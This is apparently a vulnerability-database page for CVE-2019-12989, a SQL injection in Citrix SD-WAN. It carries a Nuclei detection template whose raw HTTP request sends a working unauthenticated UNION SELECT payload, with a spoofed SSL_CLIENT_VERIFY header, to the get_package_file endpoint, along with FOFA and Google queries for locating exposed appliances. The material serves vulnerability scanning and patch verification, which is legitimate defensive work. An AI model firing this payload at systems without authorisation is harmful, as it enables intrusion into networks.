SecurityContext

CVE-2019-12989: Citrix SD-WAN and NetScaler SD-WAN - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.94957
  • Epss percentile: 0.99863
  • Cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: (title="citrix sd-wan") && icon_hash="177980953"
  • Google-query: intitle:"citrix sd-wan"
  • Max-request: 1
  • Product: netscaler_sd-wan
  • Vendor: citrix
  • Checked, none or zero: verified

Products

ProductIndexedUrl
citrix:netscaler_sd-wanyes/v1/products/citrix/netscaler_sd-wan

Labels

  • Name: Citrix SD-WAN & NetScaler SD-WAN - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full system compromise.
  • Remediation: Update to version 10.2.3 for SD-WAN and 10.0.8 for NetScaler SD-WAN or later versions.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2019-12989
  • Not known: requirements

```yaml

id: CVE-2019-12989

info:

name: Citrix SD-WAN and NetScaler SD-WAN - SQL Injection

author: ritikchaddha

severity: critical

description: |

Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 contain an SQL injection vulnerability. An unauthenticated attacker can exploit improper validation of input in specific components, which could allow for execution of arbitrary SQL queries against the backend database. This could result in information disclosure, manipulation of data, or complete compromise of affected systems.

impact: |

Successful exploitation may allow a remote unauthenticated attacker to execute SQL commands on the system, potentially resulting in unauthorized access, data leakage, modification of critical data, or full compromise of the SD-WAN appliance.

remediation: |

Apply the vendor patch: upgrade Citrix SD-WAN to version 10.2.3 or later, and NetScaler SD-WAN to version 10.0.8 or later as detailed in the official Citrix advisory.

reference:

- http://packetstormsecurity.com/files/153638/Citrix-SD-WAN-Appliance-10.2.2-Authentication-Bypass-Remote-Command-Execution.html

- https://support.citrix.com/article/CTX251987

- https://www.tenable.com/security/research/tra-2019-32

- https://nvd.nist.gov/vuln/detail/CVE-2019-12989

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2019-12989

epss-score: 0.94957

epss-percentile: 0.99863

cwe-id: CWE-89

cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*

metadata:

verified: false

max-request: 1

vendor: citrix

product: netscaler_sd-wan

fofa-query: (title="citrix sd-wan") && icon_hash="177980953"

google-query: intitle:"citrix sd-wan"

tags: cve,cve2019,citrix,sqli,kev,vkev,vuln

variables:

num: "999999999"

http:

- raw:

- |

POST /sdwan/nitro/v1/config/get_package_file?action=file_download HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

SSL_CLIENT_VERIFY: SUCCESS

{"get_package_file": {"site_name": "test' union select md5({{num}}), 'x', 'y', 'z' #","appliance_type": "primary","package_type": "active"}}

matchers:

- type: dsl

dsl:

- 'contains_all(body, "status\":\"fail", "Invalid value specified") && status_code == 400'

- 'contains(body, "{{md5({{num}})}}") && status_code == 400'

condition: or

digest: 4a0a004730450220203471a1a67155357ffe0e09a3ea4e34e1d927c2523dca3da4e476eb4dc551be02210096d9f5a33d09835cc3f59e89a24d5cf068f912b14b1ed646c7d768dd5453111f:922c64590222798bb761d5b6d8e72950

```